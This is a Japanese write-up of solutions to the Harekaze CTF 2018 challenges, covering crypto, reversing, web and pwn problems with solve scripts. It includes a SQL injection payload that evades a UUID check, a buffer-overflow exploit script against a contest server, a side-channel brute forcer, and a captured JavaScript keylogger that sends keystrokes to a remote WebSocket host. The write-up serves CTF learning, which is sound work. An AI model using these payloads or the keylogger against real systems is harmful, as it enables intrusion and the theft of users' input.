Harekaze CTF 2018 供養(Writeup)
Harekaze CTF 2018に参加。1430ptで23位。
welcome flag (WarmUp, 10 points)
HarekazeCTF{Welcome to the Harekaze CTF!}
easy problem (WarmUp, 30 points)
ROT13。
$ python Python 2.7.12 (default, Nov 20 2017, 18:23:56) [GCC 5.4.0 20160609] on linux2 Type "help", "copyright", "credits" or "license" for more information. >>> 'UnerxnmrPGS{Uryyb, jbeyq!}'.decode('rot13') u'HarekazeCTF{Hello, world!}'
Obfuscated Password Checker (Web, 50 points)
bundle.jsに難読化されたパスワードチェック処理がある。 グローバル変数にいろいろ入っているので、Developer Toolsのコンソールで調べてみるとフラグがあった。
>> console.dir(window) Window _0x2b0ce8: function _0x2b0ce8() _0x91f9: Array [ "E1fCjlfCmg==", "wrh/dD3DpMKxWBfDjDLDnFjCncK0VsOKY3Qu", "wpPDv8OUbcKke8KYwq3Cu8OSw6TCscK+w7cuwpzCjx0AwqRMw4BbwrE2wqzChcKUwo/Di8OuVQ==", … ] _0x991f: _0x991f() arguments: null caller: null data: {…} 0V1mU: "apply" 2tyXd: "{}.constructor(\"return this\")( )" 3wC12: "console" "6E&wy": "warn" "12M)@": "return (function() " "12ea#G": "console" 15UjzH: "console" 16RI1J: "debug" "17Y]U9": "console" 18Ay1I: "info" 19Ay1I: "console" "22rg!@": "exception" "23cO2*": "console" 24BOyr: "trace" 26BOyr: "call" "27e]Rd": "exports" 28wC12: "exports" "29O!qf": "exports" "37f&tJ": "addEventListener" "39i$MQ": "getElementById" "41ea#G": "getElementById" 43SbU8: "getElementById" "44ea#G": "info" "45H@[h": "addEventListener" "46VpD$": "click" "59e]Rd": "length" "60Lt&5": "constructor" "61eQq&": "debugger" 62V1mU: "constructor" 63Ay1I: "debugger" 132PNc: "log" "144%nq": "console" 208DMT: "error" 212PNc: "console" 361Z5I: "HarekazeCTF{j4v4scr1pt-0bfusc4t0r_1s_tsur41}" "384%nq": "load" "422M)@": "button" 409061: "password" __proto__: Object { … } initialized: true length: 2 name: "_0x991f" once: true prototype: Object { … } rc4: function _0x15a4b9() __proto__: function () [default properties] __proto__: WindowPrototype { … }
div N (Rev, 100 points)
整数除算のmagic numberから除数を逆算する問題。
$ python Python 2.7.12 (default, Nov 20 2017, 18:23:56) [GCC 5.4.0 20160609] on linux2 Type "help", "copyright", "credits" or "license" for more information. >>> pow(2, 64+0x30)/0x49ea309a821a0d01 + 1 974873638438446L
gacha (Crypto, 100 points)
RSA。 平文がわかっているので、暗号文を計算して一致するものを選ぶ。
# -*- coding: utf-8 -*- from minipwn import * # >>> [x.encode('hex') for x in ['WIN 💎', 'LOSE 💩']] # ['57494e20f09f928e', '4c4f534520f09f92a9'] s = socket.create_connection(('problem.harekaze.com', 30214)) print recvuntil(s, '\n\n') while True: print recvline(s) x1 = eval(recvline(s)[12:-1]) x2 = eval(recvline(s)[12:-1]) x3 = eval(recvline(s)[12:-1]) recvuntil(s, '>>> ') options = [x1, x2, x3] for i, v in enumerate(options): n, e, c = v result = pow(0x57494e20f09f928e, e, n) if result == c: sendline(s, str(i+1)) break else: raise Exception('something wrong') for i in xrange(6): print recvline(s), maybe_flag = recvline(s) if 'HarekazeCTF' in maybe_flag: print maybe_flag break
[+] you got the flag 🏁: HarekazeCTF{92f4187adbbafd3c592bfdfa8689de3be26b770d}
Fight (Crypto, 100 points)
乱数でbyte-wise XORされたフラグを求める問題。
乱数のseedが 4529255040439033800342855653030016000
未満の互いに素な自然数の個数(オイラーのφ関数)になっている。
$ gp -q ? eulerphi(4529255040439033800342855653030016000) 765753154007029226621575888896000000
seedを与えてXORするとフラグが得られる。
b'HarekazeCTF{3ul3rrrrrrrrr_t0000000t1nt!!!!!}'
Harekaze Farm (Pwn, 100 points)
strcpyがnullバイトで処理を止めることを利用する。
from minipwn import * #s = connect_process(['./harekaze_farm']) s = socket.create_connection(('problem.harekaze.com', 20328)) print recvuntil(s, ': ') sendline(s, 'cow\x00AAAAisoroku') print recvuntil(s, ': ') sendline(s, '') print recvuntil(s, ': ') sendline(s, '') interact(s)
$ python solve.py Welcome to Harekaze farm Input a name of your favorite animal: Input a name of your favorite animal: Input a name of your favorite animal: Begin to parade! cow: "moo" "moo" isoroku: "flag is here" "flag is here" HarekazeCTF{7h1s_i5_V3ry_B3ginning_BoF} *** Connection closed by remote host ***
15 Puzzle (Rev, 200 points)
.NET実行ファイル。
$ file Harekaze15Puzzle.exe Harekaze15Puzzle.exe: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
dnSpyで開くと、乱数を固定回数得た後byte-wise XORすることでフラグを復号していることがわかる。 乱数のseedはクラスのアセンブリコードから作られているので、先にデバッガにてseedを調べた後アセンブリコードを編集することでフラグを得た。
HarekazeCTF{.NET_4pp_c4n_3451ly_b3_d3c0mp1l3d}
Logger (Rev + Net, 200 points)
与えられたpcapにあるbundle.jsのスクリプトを見ると、WebSocketでUser-Agentとキーコードをエンコードして送っていることがわかる。
エンコード処理は、変換テーブルを鍵t
としたBase58風の変換になっている。
window.addEventListener("DOMContentLoaded", function() { function encode(s, t) { var r = []; if (typeof s === "string") { s = new TextEncoder("utf-8").encode(s) } var i, z; for (i = 0; i < s.length; i++) { if (s[i]) { break } } z = i; for (; i < s.length; i++) { var c = s[i]; var j; for (j = 0; j in r || c; j++) { if (r[j]) { c += r[j] * 256 } r[j] = c % 58; c = Math.floor(c / 58) } } return t[0].repeat(z) + r.reverse().map(function(x) { return t[x] }).join("") } function hash(s) { var r = 0, i; for (i = 0; i < s.length; i++) { r = r * 31 + s.charCodeAt(i) | 0 } return r } function rand(s) { var x = 123456789; var y = 362436069; var z = 521288629; var w = 88675123; var t; return function(a, b) { t = x ^ x << 11; x = y; y = z; z = w; w = w ^ w >> 19 ^ (t ^ t >> 8); if (a !== undefined && b !== undefined) { return a + w % (b + 1 - a) } return w } } function shuffle(a, r) { var i; for (i = a.length - 1; i > 0; i--) { var j = Math.abs(r(0, i)); var t = a[i]; a[i] = a[j]; a[j] = t } } var w = new WebSocket("ws://192.168.99.101:7467"); var t = "MeitamANbcfv2yXDH1RjPTzVqnLYFhE54uJUkdwCgGB36srQ8o9ZK7WxSp"; w.addEventListener("open", function(event) { var s = navigator.userAgent; w.send(encode(navigator.userAgent, t)); t = t.split(""); shuffle(t, rand(hash(s))); t = t.join("") }); Array.from(document.getElementsByTagName("input")).forEach(function(e) { e.addEventListener("keyup", function(v) { w.send(encode(Math.random().toString().slice(2) + " " + v.key, t)) }, false) }) }, false);
鍵はUser-Agentを送信した後変わるので、復号したUser-Agentをもとに次の鍵を計算する。
texts = """T4N8jgYZ5ChvnMJyKyAPCvwAcAmjAhVLt12DeE6SXJQxKsXyv3HL2xKXgASRLHpkDDYRxYQVJt1rNGH6KxyWkkK2gQep84LG33j5N1fzFaxDeXmKfcargKYanYq66KKs9U2XTWEerSwBMCPbsj7faMHQzSkNH T4N8jgYZ5ChvnMJyKyAPCvwAcAmjAhVLt12DeE6SXJQxKsXyv3HL2xKXgASRLHpkDDYRxYQVJt1rNGH6KxyWkkK2gQep84LG33j5N1fzFaxDeXmKfcargKYanYq66KKs9U2XTWEerSwBMCPbsj7faMHQzSkNH T4N8jgYZ5ChvnMJyKyAPCvwAcAmjAhVLt12DeE6SXJQxKsXyv3HL2xKXgASRLHpkDDYRxYQVJt1rNGH6KxyWkkK2gQep84LG33j5N1fzFaxDeXmKfcargKYanYq66KKs9U2XTWEerSwBMCPbsj7faMHQzSkNH T4N8jgYZ5ChvnMJyKyAPCvwAcAmjAhVLt12DeE6SXJQxKsXyv3HL2xKXgASRLHpkDDYRxYQVJt1rNGH6KxyWkkK2gQep84LG33j5N1fzFaxDeXmKfcargKYanYq66KKs9U2XTWEerSwBMCPbsj7faMHQzSkNH iCmUsu3sWAgt1DLDTPiCsMkiJ iTS5kqhhN6dZgQfzeXgG7yYr5 uKGMC4ZpKpR1Hbek9LnoWag MENtnhfQx47g2MD4YfaPpapNRA iBKoHeQsAyZ3yYg5uzbDpVBza mez8Y8onREos36hbs1W3PrzEVyF ioHr8fnSqtoRvLkvW6z6YoZLQ iBKN3429YfCEmRAxT6f9g9Qsv yvDepd8vhnp8MQNeYfiBKg2L5apQCZ iDM2FWZnm2fnpYmYGmqVWex27 iDyQ3jA179gqDNzj51e8SzqfP iDRMoK3vV8dwipy12npBHDCx6 RoAaJ29cybX87mddDKDJdDEw3ZGE29 iDVvjasQqyiaf7vKnNixERsNP iBz2L9ZX6LUyopeooorQDnwYi MEBmf8UBvosB98ocQawh9XZ45n iM4zg74tACAR4XB7khRmL5gLC iCATz5TGy5jcsCLGWawZSc8zc iyvVZ3Q5xAVGy1ZLXZFdnXTep iDS5YadHVaegKNDjYJkamNM8a yvrGR54rYJj19e75eo1TACqEAuGfow ioPy4npLFrivepDY4MioMARxZ iBwMxi5246Xg7UQi2yvJQ8Xg6 iyvVWzDwMaVPLaZYQ2y975QT6 4VXm8RKGEgG95iKCXam1ygN M77CEgVf6os6K6tjN1M6A9y7pn MVeeCjRXYXcKdAgCxKFTJgAdZo meFcfCq8k1CzkESo7i4GDRnhx9n iyvkbgC3k9R7JTPUESdmeZfzn oY9P5XbTFsaV4sS2CHBJE3hcYZTQvurTr iEEhZ5DXWedXQ4iUQbmwrGrs3 dNUzs2v4Vf7U6GdArAhvCmdPtLH8WMviyq iCAjd7zUWskbSy9RLYjtrZDCV qPgGDYUvNuUT3Ch1fKgknFW4CPVcWgH iShnuif7DhNDTetUZMXWG9rLJ iDSiqPQnncdz6Rs6YGzmeWuqE iC8FaVhXmb1GYXrCGw5CcuAXC i7fBGggWJf9LNRdVprPLPpei3 i7fxmXUMpgst9kACHosb91Cka MECvB5p81fNgVACMmJQsVd6cQB iiDMtEVW7BUo5ocRRN4inXdQ7 iSEGbN9YJHTXWLQp2JRMcPmFp iy9KSw2qYEeVA627cyZzH6F6U iCN8mpZLH7uUp1fUADyGA5P95 MECbuHyU6L65iPw5Asw92EekYa yvzJxXHW4XEPsncH4zSHDxVZf9tzxk iBz2LgRNBBfq42MTaCV3wvjCR iM5bfsw5xU93kTpig2Q4YmS7A iBYgT3V51QMxRuxhUS1dSm6s2 ME8pn9tTKm3HEkhnFUeXyB7Wtd iCN5jfUJiqBYWEbP3hhFgDfci iDVWAJwuudMAi7x7CpNGARxA4 iMGUZeMFtyDcYf7qGpMHfsEvB iCA3E5NsH2vMvZck9rexTLXG4 horZcydUns9SRFV8wefAJhEYWGwVfxrS ME131HW8CbVfH26b1XpK6741Kk iSEGaKaTXheBaHoAFgrF2ncaL T6Kihw84sq6JnwNc1V6ps5 iDSNbdyahA2wUahbo5oaztjvm iyvVWY7oECQ2PE3nLMW9ZcR1Q iidqHMFJ5xshHM4XstWfXvHqJ hiMU5F4R6qXdTWeiuwuL8so1qCDzsj4m iC51H2btb9FywrKrgFCqcCUnA iyvVZ8xTQrukCAiSe6Yrfogg4 i7qb1XR4yhPUzyK1y1k1M1kHH iyducwzyZxJgeN11VjtYrPnrt iBwageNmGH9F1Cx7gcK8nhPkC yWzcku8Ed5ZYasGMqBNny8Cy8ue4hH T4N8jgYZ5ChvnMJyKyAPCvwAcAmjAhVLt12DeE6SXJQxKsXyv3HL2xKXgASRLHpkDDYRxYQVJt1rNGH6KxyWkkK2gQep84LG33j5N1fzFaxDeXmKfcargKYanYq66KKs9U2XTWEerSwBMCPbsj7faMHQzSkNH """ def base58_like_decode(s, key): base_count = len(key) decoded = 0 multi = 1 s = s[::-1] for char in s: decoded += multi * key.index(char) multi = multi * base_count return ("%02x" % decoded).decode('hex') key1 = 'MeitamANbcfv2yXDH1RjPTzVqnLYFhE54uJUkdwCgGB36srQ8o9ZK7WxSp' key2 = 'Ehi6osZTjMV7SRygBxUD9CdFcvub1pr4G85NAnm3XakPzQHKwYL2tJefWq' for i, line in enumerate(texts.splitlines()): key = key1 if i < 4 else key2 print "%r" % base58_like_decode(line, key)
$ python solve.py 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36' 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36' 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36' 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36' '9939691852144892 i' '3859885261512208 r' '150145858608417 i' '18567251159095166 z' '7576458777211459 a' '026972594242234305 k' '2764480095938977 i' '7619045353800709 _' '5178571305666269 Shift' '8074027219998314 m' '8956491355702074 e' '8670453908645435 i' '011659703838099222 Tab' '8187754933758598 u' '7137578694896829 t' '10685363636314182 e' '4037649614420644 u' '9547499006667151 t' '6804633006850678 e' '8527906993351082 _' '5419370398984358 Shift' '2139335311774213 d' '7719704024064638 a' '6872561448387979 m' '978853711240298 a' '27678191579008526 s' '21712587887769974 h' '008838643293209936 i' '6968951321131645 i' '5659857613222705 Control' '0881841960341716 a' '809443148452283 Backspace' '9590280939075162 H' '04511512569247045 Shift' '5801697350055479 a' '8402687974500731 r' '9049605873902304 e' '5007062769608761 k' '5096873156118242 a' '12161528139619371 z' '1005416542059554 e' '5629111190926932 C' '6008572749776933 T' '9409767293718467 F' '12544265098544072 {' '5884094633930836 Shift' '7134343065666682 7' '4504682199625718 r' '7963206866962564 1' '17610405187451073 6' '9442152449942891 6' '8273018665705658 3' '4154717364716134 r' '9617594337921764 _' '40848781307522053 Shift' '15416183502271852 h' '5645719251292425 4' '98042680667325 p' '8572499225178345 p' '6875257188592576 y' '1751574910137419 _' '28951702513811517 Shift' '9235607179034739 6' '6800631359494727 1' '5440433413536723 r' '6339927149278366 l' '7846849786881289 }' '7076479870105414 Shift' "\x1b\x1bC\xaf\x81\xe2\xf4\x9d\x9e\xc2V\xd7I4=,\xcb\x17a\xdf\xd8\x9d\xe1Y\xa3\x977\x08\xe2\xe8\x95X2\x13.\xd1\xac\xbdc\xa6\xf1:\xe2_\xda\x0c+\xf6q\x9d2\xae8x\xd5\xe6\xd1\x13I(|Yi\x97[\xc9$;p\xdd\xff\xbc\xef\xbb\xcb\xf0\xb1\xeeH\xcd]\xbat'pkVX\xfbo\x89-\x05H\xbb\xc8!\x86\x93\xb6\xc1\x84\xdc\x00\x1f\xb8\x89xx\x84\xf2\xc3\xf1\xae\xc4"
HarekazeCTF{7r1663r_h4ppy_61rl}
Round and Round (Crypto, 200 points)
RSA。 次の3つの値が与えられる。
enc = pow(FLAG, e, n) p1 = (sum([pow(p-1, i, p) for i in range(q)])) q1 = (sum([pow(q-1, i, q) for i in range(p)]))
次のような連立方程式が成り立つので、これを解くことでp1、q1からp、qが求まる。
p1 = \sigma_{i=0}^{q-1} ((p-1)^i mod p) = 1 + (p-1) + (p^2-2*p+1) + ... = 1 + (p-1) + 1 + (p-1) + ... + 1 = (p-1)*(q-1)/2 + q/2 q1 = (p-1)*(q-1)/2 + p/2
import gmpy enc = 15507598298834817042463704681892573844935925207353671096676527782423920390858333417805014479686241766827314370902570869063203100704151010294869728739155779685640415815492312661653450808873691693721178331336833872996692091804443257630828512131569609704473214724551132715672202671586891813211353984388741035474991608860773895778988812691240069777435969326282770350038882767450912160134013566175657336041694882842590560100668789803775001750959648059363722039014522592751510672658328196379883088392541680852726136345115484827400366869810045573176782889745710174383221427352027041590910694360773085666697865554456816396551 p1 = 14606124773267989759790608461455191496412830491696356154942727371283685352374696106605522295947073718389291445222948819019827919548861779448943538887273671755720708995173224464135442610773913398114765000584117906488005860577777765761976598659759965848699728860137999472734199231263583504465555230926206555745572068651194660027408008664437845821585312159573051601404228506302601502000674242923654458940017954149007122396560597908895703129094329414813271877228441216708678152764783888299324278380566426363579192681667090193538271960774609959694372731502799584057204257039655016058403786035676376493785696595207371994520 q1 = 14606124773267989759790608461455191496412830491696356154942727371283685352374696106605522295947073718389291445222948819019827919548861779448943538887273671755720708995173224464135442610773913398114765000584117906488005860577777765761976598659759965848699728860137999472734199231263583504465555230926206555745568763680874120108583912617489933976894172558366109559645634758298286470207143481537561897150407972412540709976696855267154744423609260252738825337344339874487812781362826063927023814123654794249583090654283919689841700775405866650720124813397785666726161029434903581762204459888078943696756054152989895680616 a = p1 b = q1 t = gmpy.sqrt(4*a*a-8*a*b+4*a+4*b*b+4*b-3) p = (t-2*a+2*b+1)/2 q = (t+2*a-2*b+1)/2 e = (1<<16)+1 d = gmpy.invert(e, (p-1)*(q-1)) print ("%02x" % pow(enc, d, p*q)).decode('hex')
$ python solve.py HarekazeCTF{d1d_y0u_7ry_b1n4ry_se4rch?}
Sokosoko Secure Uploader (Web, 100 points)
与えられた暗号化済みPNGファイルを復号する問題。また、鍵となるUUIDが9e5a
で始まることが与えられている。
SQLiteのSQL injection脆弱性があるが、is_uuid
関数によるチェックを通るように文字列を与える必要がある。
'OR id/*-AAAA-AAAA-AAAA-*/LIKE'9e5a%
HarekazeCTF{k41k4n_j1kk4n_j1n615uk4n}
my favorite language (Rev + Misc, 200 points)
Lazy Kで書かれたフラグチェッカー。 C言語で書かれたインタプリタで実行した際の命令数をIntel Pinを用いて調べると、1バイトごとに比較が行われていることがわかる。 何文字か探索するとフラグが16進文字列らしいことがわかるので、これを利用して範囲を絞りつつ探索する。
from subprocess import Popen, PIPE chars = map(ord, ' 0123456789ABCDEF{}') s = 'HarekazeCTF{' while True: last = None #for c in xrange(0x20, 0x7f): for c in chars: s2 = s + chr(c) p = Popen(['bash', '../pin-3.5-97503-gac534ca30-gcc-linux/inscount0.sh', './lazyk', 'foo.lazy'], stdin=PIPE, stdout=PIPE, stderr=PIPE) stdout, stderr = p.communicate(s2+'\n') inscount = int(stderr) print "%s: %d" % (s2, inscount) if last is not None and inscount > last: s = s2 break last = inscount else: raise Exception()
HarekazeCTF{4AD8AA3A3571EA912A6EC5EA5FDCC93Cz: 248839183 HarekazeCTF{4AD8AA3A3571EA912A6EC5EA5FDCC93C{: 244417392 HarekazeCTF{4AD8AA3A3571EA912A6EC5EA5FDCC93C|: 241721601 HarekazeCTF{4AD8AA3A3571EA912A6EC5EA5FDCC93C}: 241942949
$ echo -n HarekazeCTF{4AD8AA3A3571EA912A6EC5EA5FDCC93C} | ./lazyk foo.lazy correct flag
recursive zip (Warmup, 40 points)
flag.zipの中にflag.zipが再帰的に入っているという問題。 次のようなシェルスクリプトで解いた。
#!/bin/bash unzip -p flag.zip >a.zip while true; do xxd a.zip | head unzip -p a.zip >b.zip xxd b.zip | head unzip -p b.zip >a.zip done
HarekazeCTF{(\lambda f. (\lambda x. f (x x)) (\lambda x . f (x x))) zip}
所感
他に解きたかった問題は以下。
- Lost_data (For + Misc, 100 points)
- WE'RE WATCHING YOU! (Misc +OSINT, 100 points)
- Unnormalized-form Data (Misc, 127 points)
- Flea Attack (Pwn, 200 points)
- alnush (Pwn, 200 points)
- gacha 2 (Crypto, 350 points)
- my favorite language 2 (Rev + Misc, 250 points)